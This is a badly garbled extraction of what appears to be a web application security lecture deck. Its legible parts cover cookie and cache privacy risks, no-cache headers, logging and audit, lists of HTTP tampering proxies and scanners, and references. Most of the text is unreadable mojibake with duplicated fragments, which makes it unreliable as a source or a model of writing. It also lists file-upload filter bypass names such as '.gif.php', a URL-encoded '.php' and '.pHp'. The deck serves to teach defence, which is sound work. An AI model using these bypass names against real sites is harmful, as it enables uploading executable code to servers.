� ô õ G H i uô õ G H i uô õ G H i uô õ G H i u !
� ÚÚ ÚÚ � �� �� �� � ¹¹ ¹¹ ÄÄ ÄÄ EE EE ® î .® î .® î .® î . �� �� ff ff �� ��

– .gif.php ( U V W X YU V W X YU V W X YU V W X Y )
– %2E%70%68%70 (���� .php)– %2E%70%68%70 (���� .php)
– .pHp

� � � Â� � Â� � Â� � Â �� �� U VU VU VU V

� ËË ËË � � �� � �� � �� � � :
– (( (( NN NN �� �� 	 � �	 � �	 � �	 � � Ë � �Ë � �Ë � �Ë � � %%%% � � C� � C� � C� � C ýý ýý � � f� � f� � f� � f �� �� ( �� �� Â íÂ íÂ íÂ í
î ¼î ¼î ¼î ¼ I JI JI JI J ÏÏ ÏÏ õ �õ �õ �õ � )tttt

� Å g � �Å g � �Å g � �Å g � � :
– t �t �t �t � � Jþ é� Jþ é� Jþ é� Jþ é �� �� ¹ ¼¹ ¼¹ ¼¹ ¼ �� �� éé éé
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Attack Local Privacy



AttackAttack Local PrivacyLocal Privacy

� � � ÷� � ÷� � ÷� � ÷ tt tt e ce ce ce c T'�T'�T'�T'� � H � ÷ UF G� H � ÷ UF G� H � ÷ UF G� H � ÷ UF G ����,,,,

� ¤� ¤� ¤� ¤ ÈÈ ÈÈ “ É ÊÉ ÊÉ ÊÉ Ê ”====
� $$ $$ Ä {Ä {Ä {Ä { UK �UK �UK �UK �

�Persistent Cookies�Persistent Cookies
– ))))Set-CookieKKKK       == == expires ¡ ¢¡ ¢¡ ¢¡ ¢ ( ££ ££ � O� O� O� O 33 33 )%%%%BBBB ¤¤ ¤¤
� � �  � ¼� � �  � ¼� � �  � ¼� � �  � ¼ MM MM (( (( ¥¥ ¥¥ �� ��

Set-Cookie : UID=d475;expires=Wed, 10-Oct-09 
16:08:30GMT

�Cached Web Content
– Non-SSL Response ¦¦ ¦¦ ß E � ¼ß E � ¼ß E � ¼ß E � ¼ I J KI J KI J KI J K cache ¥¥ ¥¥ �� ��

– IE MM MM ( )( )( )( )Registry



AttackAttack Local PrivacyLocal Privacy (cont.)(cont.)

�Browsing History
– http://rad.msn.com/ADSAdClient31.dll?GetAd=&PG=IMSTWN

&AP=1007

– � 1� 1� 1� 1 ���� Á K� �Á K� �Á K� �Á K� �       == == =g=g=g=g � � � � 

�Auto-complete
– IE : ������������Registry
– Firefox : ���� ����� ����� ����� �



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A

� � �� �� �� � Ò K Ô �Ò K Ô �Ò K Ô �Ò K Ô � � ¶  � ¶  � ¶  � ¶  persistent cookie ° �° �° �° �

±± ±± ////Ë TË TË TË T

� gg gg ww ww ±± ±± � Q � � �� Q � � �� Q � � �� Q � � � , ¿¿ ¿¿ r ¼ � �r ¼ � �r ¼ � �r ¼ � � replay
�\\\\Set-Cookie � E i� E i� E i� E i DD DD rr rr expires ö Øö Øö Øö Ø

� � �� �� �� � K Ô �K Ô �K Ô �K Ô � �� �� v û ü ýv û ü ýv û ü ýv û ü ý cacheÌÌÌÌ
�Response Header :

Expires: 0
Cache-control: no-cache
Pragma: no-cache



� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A� ? @ A (cont.)(cont.)

� � �� �� �� � K Ô �K Ô �K Ô �K Ô � � ¶  � ¶  � ¶  � ¶  URLUUUU�� �� � ° � � �� ° � � �� ° � � �� ° � � � ±± ±±

� ·· ·· @@ @@ � Q N� Q N� Q N� Q N ±± ±± OO OO POST ;; ;; � � ¬ { �� � ¬ { �� � ¬ { �� � ¬ { �

� ÙÙ ÙÙ �� �� �� �� � �� �� �� � SSL
� �� �� �� �� )[ ��)[ ��)[ ��)[ ������8888 pp pp auto-complete � c� c� c� c� �� �� �� �� )[ ��)[ ��)[ ��)[ ������8888 pp pp auto-complete � c� c� c� c

�autocomplete=off



Log����Audit & Notification



h $ � � � � � �h $ � � � � � �h $ � � � � � �h $ � � � � � �h $ � � � � � �h $ � � � � � �h $ � � � � � �h $ � � � � � � :: 3A3A

Authentication
(����������������)

236

Authorization
( � � � � 	 
� � � � 	 
� � � � 	 
� � � � 	 
 ) 

Audit
( � �  �� �  �� �  �� �  � )



LogLog
� ¦ h ×¦ h ×¦ h ×¦ h × �� �� NN NN { |{ |{ |{ | w O xw O xw O xw O x ����� � x� � x� � x� � x

� �� �� ¦ ¨¦ ¨¦ ¨¦ ¨ ÛÛ ÛÛ ���� �� �� " ¦ ¨" ¦ ¨" ¦ ¨" ¦ ¨ ÛÛ ÛÛ :
� � �� �� �� � (¨Î Ï `¨Î Ï `¨Î Ï `¨Î Ï ` §§ §§ ) / � !� !� !� !

� 55 55 5 §5 §5 §5 § �� �� ���� ¨ h 5¨ h 5¨ h 5¨ h 5 5 J5 J5 J5 J © ª© ª© ª© ª ���� 55 55 55 55 VV VV ßß ßß

� zz zz oo oo �  Jp q�  Jp q�  Jp q�  Jp q� zz zz oo oo �  Jp q�  Jp q�  Jp q�  Jp q

� � �� �� �� � VV VV Ý þ � ×�  J( 
Ý þ � ×�  J( 
Ý þ � ×�  J( 
Ý þ � ×�  J( 


� þ �þ �þ �þ � t �t �t �t �

� VV VV Ý Î � ×Ý Î � ×Ý Î � ×Ý Î � × « s« s« s« s ( Î̈ Ï `Î̈ Ï `Î̈ Ï `Î̈ Ï ` §§ §§ )
� � d e J�  V �� d e J�  V �� d e J�  V �� d e J�  V �

� l ml ml ml m ���� S ¬S ¬S ¬S ¬ ����n o � � �n o � � �n o � � �n o � � �

� VV VV Ý ³ ´Ý ³ ´Ý ³ ´Ý ³ ´ ���� Á Jp qÁ Jp qÁ Jp qÁ Jp q

� � � � �  t t t t  / EE EE  
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Log (cont.)Log (cont.)

� aa aa W X Ë TW X Ë TW X Ë TW X Ë T//// ® $ ® $ ® $ ® $ �� �� Log Í ÎÍ ÎÍ ÎÍ Î
� ÁÁ ÁÁ � \� \� \� \�� �� õ ] ^õ ] ^õ ] ^õ ] ^

– � ¾ � =� ¾ � =� ¾ � =� ¾ � = A 5A 5A 5A 5 Î � JÎ � JÎ � JÎ � JWeb Service � � �� � �� � �� � �

� uu uu �� �� � Q PZ Ç X �� Q PZ Ç X �� Q PZ Ç X �� Q PZ Ç X �

� � �� �� �� � ÁÁ ÁÁ �� �� (Optional)
– � � Ü� � Ü� � Ü� � Ü 77 77 ÝÝ ÝÝ '' '' � �� �� �� � ® ¯ ° ± ²® ¯ ° ± ²® ¯ ° ± ²® ¯ ° ± ²

– ³³ ³³ ++ ++ : �� �� ss ss Ï 3Ï 3Ï 3Ï 3 ´´ ´´ ³ ´ � � y �³ ´ � � y �³ ´ � � y �³ ´ � � y �

� i ri ri ri r ©© ©© m ^ Ym ^ Ym ^ Ym ^ Y

� i ri ri ri r Data-RotationPPPP � �� �� �� �
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AuditAudit

� � $� $� $� $ Ï �Ï �Ï �Ï � 1 ' U1 ' U1 ' U1 ' UÐÐ ÐÐ �� �� ���� 	 p	 p	 p	 p ÑÑ ÑÑ

� a �a �a �a � 44 44 ¨¨ ¨¨ � $� $� $� $ �� �� Log
� % � ¬ ¿ � 7% � ¬ ¿ � 7% � ¬ ¿ � 7% � ¬ ¿ � 7 :

– �  {�  {�  {�  { µ ²µ ²µ ²µ ²

– '' '' � �� �� �� � ®® ®® JJJJ ¯ ° ± ²¯ ° ± ²¯ ° ± ²¯ ° ± ² (���� � � q� � q� � q� � q Ý (Ý (Ý (Ý ( Log)
– � � ï ð� � ï ð� � ï ð� � ï ð SOC(Security Operation Center) ³ ´³ ´³ ´³ ´ %%%%
� � c Í Ï� � c Í Ï� � c Í Ï� � c Í Ï c ¶c ¶c ¶c ¶ tttt

� � �� �� �� � cc cc ÒÒ ÒÒ :
� H ØH ØH ØH Ø pp pp Õ � �Õ � �Õ � �Õ � � �� �� ÂÂ ÂÂ

� 9 �9 �9 �9 � �� �� � � � ³ ´ s� � � ³ ´ s� � � ³ ´ s� � � ³ ´ s PP PP ����66 66 ÏÏ ÏÏ �� ��
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NotificationNotification

� �  + L�  + L�  + L�  + L � �� �� �� � �� �� »» »» Û H � ÷Û H � ÷Û H � ÷Û H � ÷

� �� �� ÐÐ ÐÐ v A Þ ¤v A Þ ¤v A Þ ¤v A Þ ¤ ( Z [ B \ ] ^ _ ` - a bZ [ B \ ] ^ _ ` - a bZ [ B \ ] ^ _ ` - a bZ [ B \ ] ^ _ ` - a b )

� � Ò� Ò� Ò� Ò ¯ I¯ I¯ I¯ I ���� Û ¦Û ¦Û ¦Û ¦ � Ò P� Ò P� Ò P� Ò P�� �� SS SS ����� Ò � �� Ò � �� Ò � �� Ò � �

� ð ¥ � Q Pð ¥ � Q Pð ¥ � Q Pð ¥ � Q P kk kk WW WW

� % O% O% O% O P¿P¿P¿P¿ 66 66 UUUU3 ·3 ·3 ·3 ·

� »» »» Û È ÑÛ È ÑÛ È ÑÛ È Ñ ¶  ¶  ¶  ¶  out-of-band ÓÓ ÓÓ ÄÄ ÄÄ

� �� �� �� ��

� îî îî �� �� ° Ý° Ý° Ý° Ý

�Email
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� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �



� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �� f 6 � � �

�HTTP 9 : ? @ Õ Ö9 : ? @ Õ Ö9 : ? @ Õ Ö9 : ? @ Õ Ö

�Browser Extensions
�Web Proxy

� Å Ï � ¨ §Å Ï � ¨ §Å Ï � ¨ §Å Ï � ¨ § Õ ÖÕ ÖÕ ÖÕ Ö� Å Ï � ¨ §Å Ï � ¨ §Å Ï � ¨ §Å Ï � ¨ § Õ ÖÕ ÖÕ ÖÕ Ö

� R � ò óR � ò óR � ò óR � ò ó × Ø Õ Ö× Ø Õ Ö× Ø Õ Ö× Ø Õ Ö

� R �R �R �R � Ù °Ù °Ù °Ù ° §§ §§ Ú Õ ÖÚ Õ ÖÚ Õ ÖÚ Õ Ö ����DOS



HTTPHTTP d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �

�Browser Extensions – IE
�TamperIE

– http://www.bayden.com/Other/
– 	 c d e f g h i j k l m	 c d e f g h i j k l m	 c d e f g h i j k l m	 c d e f g h i j k l m
– B n oB n oB n oB n o Javascript p qp qp qp q

�HTTPWatch�HTTPWatch
– http://www.httpwatch.com/
– ^ _^ _^ _^ _ IE k r 5 �k r 5 �k r 5 �k r 5 � Request����ssssResponse
– t .t .t .t . uuuu: v: v: v: v w x yw x yw x yw x y

�HTTP Analyzer
– http://www.ieinspector.com/httpanalyzer/
– z {z {z {z { HTTPWatch
– ++++Standalone | } B ~ � } � G H f g h| } B ~ � } � G H f g h| } B ~ � } � G H f g h| } B ~ � } � G H f g h



TamperIETamperIE



HTTPWatchHTTPWatch(Commercial)(Commercial)



HTTPHTTP d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 � (cont.)(cont.)

�Browser Extensions – Firefox
�Tamper Data

– https://addons.mozilla.org/firefox/966/
�Add N Edit Cookies

– https://addons.mozilla.org/firefox/573/
�Live HTTP Headers�Live HTTP Headers

– https://livehttpheaders.mozdev.org/
�HttpFox

– https://addons.mozilla.org/firefox/addon/6647
�RefControl

– https://addons.mozilla.org/firefox/addon/953
�HackBar

– https://addons.mozilla.org/firefox/addon/3899



Tamper DataTamper Data



Add N Edit CookiesAdd N Edit Cookies



Live HTTP HeaderLive HTTP Header



HttpFoxHttpFox



�Web Proxy
� Burp Suite

– http://portswigger.net/suite/

� Paros
– http://www.parosproxy.org/

� Odysseus

HTTPHTTP d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 �d e   ¡ 6 � (cont.)(cont.)

� Odysseus
– http://www.bindshell.net/tools/odysseus

� Fiddler
– http://www.fiddlertool.com/fiddler/

� WebScarab
– http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

� SPIKE Proxy
– http://www.immunitysec.com/resources-freesoftware.shtml

� Achilles
– http://www.mavensecurity.com/achilles



Burp Burp SuiteSuite
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ParosParos ((�������� Free Web Scan)Free Web Scan)



¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 � (Commercial)(Commercial)

� HP DevInspect
� https://h10078.www1.hp.com/cda/hpms/display/main/hpms_cont

ent.jsp?zn=bto&cp=1-11-201-200%5E9564_4000_100__ 
� Parasoft

� http://www.parasoft.com/jsp/home.jsp 
� Fortify 360 SCA(Source Code Analyzer)

� http://www.gss.com.tw/tw/IT-tools/Fortify-SCA.htm� http://www.gss.com.tw/tw/IT-tools/Fortify-SCA.htm
� http://www.fortify.com/products/detect/in_development.jsp;jsessi

onid=FE6FC1EFD16D72EF59191714521AB1E9
� Klocwork

� http://www.klocwork.com/products/?_kk=code%20review%20to
ol&_kt=f237adfe-c22e-44ff-af59-0a79f6d8abc7&gclid=CLf-
uNXJn5wCFQkwpAodA2J_cw

� ·· ·· 55 55 ¸ ¹¸ ¹¸ ¹¸ ¹ -CodeSecure
� http://www.armorize.com/?link_id=codesecure



¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 � (Commercial)(Commercial)

�Parasoft
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�Fortify 360 SCA(Source Code Analyzer)

¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 � (Commercial)(Commercial)
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� ÛÛ ÛÛ � 5 6� 5 6� 5 6� 5 6 -CodeSecure

¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 �¢ £ 2 Z v 6 � (Commercial)(Commercial)
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� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 � (Commercial)(Commercial)

� Acunetix
� http://www.acunetix.com/ 

� HP WebInspect
� https://h10078.www1.hp.com/cda/hpms/display/main/hpms_cont

ent.jsp?zn=bto&cp=1-11-201-200%5E9570_4000_100__ 
� IBM Rational AppScan

� http://www-01.ibm.com/software/awdtools/appscan/� http://www-01.ibm.com/software/awdtools/appscan/



�Acunetix

� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 � (Commercial)(Commercial)
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�HP WebInspect

� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 � (Commercial)(Commercial)
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�IBM Rational AppScan ( �� �� Ü �Ü �Ü �Ü � )

� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 �� � ¤ U ¥ ¦ 6 � (Commercial)(Commercial)
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� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 � (Free)(Free)

�ab (Apache Benchmark)
�http://httpd.apache.org/

�JMeter
�http://jakarta.apache.org/jmeter/

�Microsoft Web Application Stress Tool�Microsoft Web Application Stress Tool
�http://www.microsoft.com/technet/archive/itsolutions/

intranet/downloads/webstres.mspx
�Microsoft Application Center Test

�http://msdn2.microsoft.com/en-
us/library/aa287410(VS.71).aspx

�… . Many tools
�http://www.softwareqatest.com/qatweb1.html



� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 �� � § ¨ v w 6 � (Commercial)(Commercial)

� HP Mercury LoadRunner
� http://www.mercury.com/us/products/performance-

center/loadrunner/
� IBM Rational Performance Tester

� http://www-
306.ibm.com/software/awdtools/tester/performance/index.html

� Compuware QALoad� Compuware QALoad
� http://www.compuware.com/products/qacenter/qaload.htm

� Radview WebLOAD
� http://www.radview.com/product/description-overview.aspx

� Borland SilkPerformer
� http://www.borland.com/us/products/silk/silkperformer/index.ht

ml
� Empirix Web Applications Testing and Monitoring 

Solutions
� http://www.empirix.com/products-services/web_applications.asp
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� � ª � 7 � � � � ?� � ª � 7 � � � � ?� � ª � 7 � � � � ?� � ª � 7 � � � � ?� � ª � 7 � � � � ?� � ª � 7 � � � � ?� � ª � 7 � � � � ?� � ª � 7 � � � � ?
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 � �

Requirement Define Design Develop/Test Deploy Maintain
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M � � «M � � «M � � «M � � «M � � «M � � «M � � «M � � « :: K k ¬K k ¬K k ¬K k ¬ ® ¯ ¬® ¯ ¬® ¯ ¬® ¯ ¬K k ¬K k ¬K k ¬K k ¬ ® ¯ ¬® ¯ ¬® ¯ ¬® ¯ ¬ ??

Confidentiality
(���)

266

Integrity
( � � �)

Availability
( � � �)



Security Risk Analysis Security Risk Analysis 	 � �	 � �	 � �	 � �	 � �	 � �	 � �	 � �

�Dell R �R �R �R � ÝÝ ÝÝ Í UÍ UÍ UÍ UÞ ßÞ ßÞ ßÞ ß

�     ÝÝ ÝÝ : ! " # $! " # $! " # $! " # $ ¯¯ ¯¯ %% %% MM MM � &� &� &� & ¨¨ ¨¨ ' (' (' (' ( �� �� "" "" ¿¿ ¿¿ 66 66

� q �q �q �q � :
– º L » *º L » *º L » *º L » * : o p Yo p Yo p Yo p Y ££ ££ ���� ^^ ^^ << << b =b =b =b = o Co Co Co C Review ??

: ?– ¼ 3 ½ ¾¼ 3 ½ ¾¼ 3 ½ ¾¼ 3 ½ ¾ : ð Ðð Ðð Ðð Ð ¿¿ ¿¿ �� �� ÀÀ ÀÀ p qp qp qp q ?

� � �� �� �� � öö öö �� �� :
– ¹ � � ß à¹ � � ß à¹ � � ß à¹ � � ß à 88 88 b =b =b =b = CC CC ý �ý �ý �ý � � Á Â c ¶� Á Â c ¶� Á Â c ¶� Á Â c ¶

� � H � � � G H � ` � � � � � / � k � � � �� � H � � � G H � ` � � � � � / � k � � � �� � H � � � G H � ` � � � � � / � k � � � �� � H � � � G H � ` � � � � � / � k � � � � ����

� E �E �E �E � UUUUÝ àÝ àÝ àÝ à j õj õj õj õ ����HOLA!
� http://www.isecutech.com.tw/article/article_detail.aspx?tv=11&a

id=5435
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� °� °� °� °� °� °� °� ° Only ?Only ?

�������� ������������
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Weakest LinkWeakest Link �������� ± ² ³ ´± ² ³ ´± ² ³ ´± ² ³ ´± ² ³ ´± ² ³ ´± ² ³ ´± ² ³ ´ ??

�A chain is only as strong as its weakest link !



TradeTrade--OffOff

��������

����������

� ¹ � �¹ � �¹ � �¹ � � á â ã �á â ã �á â ã �á â ã � U	 pU	 pU	 pU	 p ���� � �� �� �� � 	 p	 p	 p	 p
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µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·

� Ã ÄÃ ÄÃ ÄÃ Ä : ����HTTP Essentials ����- Stephen Thomas
� Ã ÄÃ ÄÃ ÄÃ Ä : ;;;; Writing Secure Code 2nd Edition FFFF- Michael 

Howard ����David LeBlanc
� Ã ÄÃ ÄÃ ÄÃ Ä : ;;;; The Web Application Hackers Handbook FFFF-

Dafydd Stuttard����Marcus PintoDafydd Stuttard����Marcus Pinto
� Ã ÄÃ ÄÃ ÄÃ Ä : ;;;; Hacking the Code (ASP.NET Web 

ApplicationSecurity)FFFF- Mark M. Burnett����James 
C.Foster

� Å �Å �Å �Å � RR RR ¸¸ ¸¸ : http://en.wikipedia.org
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µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·

� OWASP
� Top Ten Project 

http://www.owasp.org/index.php/OWASP_Top_Ten_Project

� Guide Project 
http://www.owasp.org.tw/index.php/Category:OWASP_Guide
_Project

� ESAPI Project 
http://www.owasp.org/index.php/Category:OWASP_Enterpris
e_Security_API#tab=About

� IBM Demo Site :
� http://www.testfire.net/

� The Cross Site Scripting (XSS) 
� http://xssed.com/

� The Cross Site Scripting (XSS) FAQ 
� http://www.cgisecurity.com/articles/xss-faq.shtml 272



µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·

� DOM Based XSS
� http://www.webappsec.org/projects/articles/071105.html

� SQL Injection ( �  � 5�  � 5�  � 5�  � 5 )– Æ �Æ �Æ �Æ � JJJJ SQL ÇÇ ÇÇ vv vv È ÉÈ ÉÈ ÉÈ É :
� http://www.microsoft.com/taiwan/sql/SQL_Injection_G1.htm
� http://www.microsoft.com/taiwan/sql/SQL_Injection_G2.htm

� Java EE – use strongly typed PreparedStatement, or � Java EE – use strongly typed PreparedStatement, or 
ORMs such as Hibernate or Spring 
� J2EE Prepared Statements: 

http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.ht
ml 

� .NET – use strongly typed parameterized queries, such 
as SqlCommand with SqlParameter or an ORM like 
Hibernate 
� How to: Protect from SQL injection in ASP.Net

http://msdn2.microsoft.com/en-us/library/ms998271.aspx 
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µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·µ ¶ � ·

� “ How CAPTCHA got trashed”
� http://www.computerworld.com/s/article/9104619/How_CAPT

CHA_got_trashed

� CAPTCHA Decoder
� http://caca.zoy.org/wiki/PWNtcha

� “ Why File Upload Forms are a major security threat”� “ Why File Upload Forms are a major security threat”
� http://www.acunetix.com/websitesecurity/upload-forms-

threat.htm
� HTTP Response Splitting

� http://download.boulder.ibm.com/ibmdl/pub/software/dw/rich
media/rational/08/appscan_demos/httpresponsesplitting/viewer.
swf#recorded_advisory

� “ 2009 CWE/SANS Top 25 Most Dangerous 
Programming Errors”
� http://cwe.mitre.org/top25/index.html 274


